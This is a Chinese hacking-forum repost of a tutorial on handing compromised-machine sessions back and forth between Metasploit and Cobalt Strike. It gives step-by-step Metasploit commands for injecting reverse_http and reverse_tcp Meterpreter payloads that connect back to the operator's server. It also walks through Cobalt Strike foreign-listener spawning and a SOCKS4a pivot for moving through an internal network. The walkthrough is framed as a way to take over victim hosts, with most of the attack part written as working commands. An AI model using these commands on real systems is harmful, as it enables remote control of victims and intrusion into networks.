HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

Metasploit和Cobalt Strike的四种联动场景

  •   EvilGod ·2018-1-10 17:21:46·735 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    作者:zyh
    原文地址:https://secvul.com/topics/862.html

    Metasploit就不介绍了,Cobalt Strike是一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑、钓鱼攻击等等。
    然而这都是旧事了,翅膀硬了总要单飞,Cobalt Strike 2.5版本后就脱离metasploit框架自己重写,但旧情难忘,两兄弟还相互提供接口支持。
    Cobalt Strike与metasploit曾是GUI版本与命令行版本的关系,重写后,Cobalt Strike更偏重于稳定控制,专心做远控。而MetaSploit则偏向于内网的横向渗透。两者相比,Cobalt Strike的socks4a服务比metasploit稳定太多了,受害机器从Cobalt Strike上线后,可以使用Cobalt Strike中的socks4a协议进行代理渗透,实战测试端口扫描开200线程不会挂,而MetaSploit中的route add或者是socks4a就逊色多了(有兴趣的可以自己测试)。但是,Cobalt Strike缺乏横向EXP攻击。
    基于此,如果拿Cobalt Strike日内网,前提是你获得了目标的权限,运行Cobalt Strike的远控马上线,然后通过Cobalt Strike进行代理(或者其它扫描等),进行内网渗透,找出内网其它机器漏洞后继续利用其它工具进行exploit,exploit后再运行Cobalt Strike的远控马,这过程中,其实Cobalt Strike与metasploit并没有很好地配合起来。如果我们使用metasploit配合Cobalt Strike一起进行内网渗透的话,会是一种很好的手段。
    在使用metasploit和Cobalt Strike配合的渗透中,可能会有如下四种联动场景:
    (1)metasploit获得了一个meterpreter的session,想把session传给Cobalt Strike
    (2)metasploit未获得meterpreter的session,但受害机器已经执行metasploit生成的木马程序,想直接让目标给Cobalt Strike上线
    (3)Cobalt Strike获得了一个上线机器,想把这个机器丢给metasploit,让meterpreter获得一个session进行控制
    (4)Cobalt Strike获得了一个上线机器,想把这个机器丢在metasploit中继续进行渗透
    下面便来聊聊这4点是如何实际操作的:
    本文网络环境如下:受害机器IP:192.168.23.128 METASPLOIT和Cobalt Strike在同一个IP下:192.168.23.129
    1.metasploit获得了一个meterpreter的session,想把session传给Cobalt Strike:

    思路是使用metasploit中的inject payload来做,现在先假设已有一个meterpreter的session了,步骤如下:
    在Cobalt Strike中新建监听

    点击save创建成功后我们便有了一个reverse_http监听者,监听者33890端口,等待被控机连接。
    此时切换到meterpreter中,输入下列命令:
    1. background # 切换到后台
    2. use exploit/windows/local/payload_inject
    3. set payload windows/meterpreter/reverse_http # 这里有个坑,不能使用x64的payload,我开始试验了很久一直失败,发现是x64的原因,换成x86的payload就好了,原因不明!
    4. set lhost 192.168.23.129 # Cobalt Strike的服务端IP
    5. set lport 33890 # 监听者的监听端口
    6. set session 2 # 这里是之前meterpreter的session编号
    7. set disablepayloadhandler true # 关闭payload的监听,因为metasploit和Cobalt Strike在同一台机器,而且这里用Cobalt Strike监听而不是metasploit,否则会端口冲突。
    8. exploit
    复制代码


    此时机器便已成功从Cobalt Strike成功上线。

    2.metasploit未获得meterpreter的session,但受害机器已经执行metasploit生成的木马程序,想直接让目标给Cobalt Strike上线
    Cobalt Strike先开启监听者(监听metasploit远控木马的连接端口LPORT),此时metasploit的payload按照如下写法即可:
    1. use exploit/multi/handler
    2. set payload windows/meterpreter/reverse_http
    3. set lhost 192.168.23.129 # Cobalt Strike的服务端IP
    4. set lport 43215 (43215为metasploit远控木马的连接端口LPORT)
    5. set disablepayloadhandler true
    6. exploit
    复制代码

    就可以了,简单吧。这里其实就是payload选择reverse_http(注意32位的,不是64位的,这里大坑),然后监听的地址和端口写Cobalt Strike的监听者的信息就可以了。

    3.Cobalt Strike获得了一个上线机器,想把这个机器丢给metasploit中的meterpreter获得一个session进行控制
    步骤如下:
    1. metasploit中:
    2. use exploit/multi/handler
    3. set payload windows/meterpreter/reverse_tcp # 再次强调大坑:不要用x64的payload!
    4. set lhost 192.168.23.129
    5. set lport 7654
    6. exploit # 开启监听
    复制代码


    Cobalt Strike中,对目标机器点击右键,spawn,新建一个监听者,payload选择foreign/reverse_tcp

    最后choose它就可以了,如果meterpreter没有马上获得shell,不要着急不要紧张,因为Cobalt Strike中默认sleep是1分钟,你可以先提前把sleep时间改短些,这样Cobalt Strike的反应会快些。
    最后已经成功:

    4.Cobalt Strike获得了一个上线机器,想把这个机器丢给metasploit中继续进行渗透
    这里其实只需要Cobalt Strike开一个socks给metasploit用就行了,具体操作如下:
    对上线机器点右键Pivoting-SOCKS Server ,开启socks4a,然后会给你一个地址,在metasploit中设置proxy即可。


    735 次点击  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   215 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-7-22 12:46, Processed in 0.043042 second(s), 18 queries .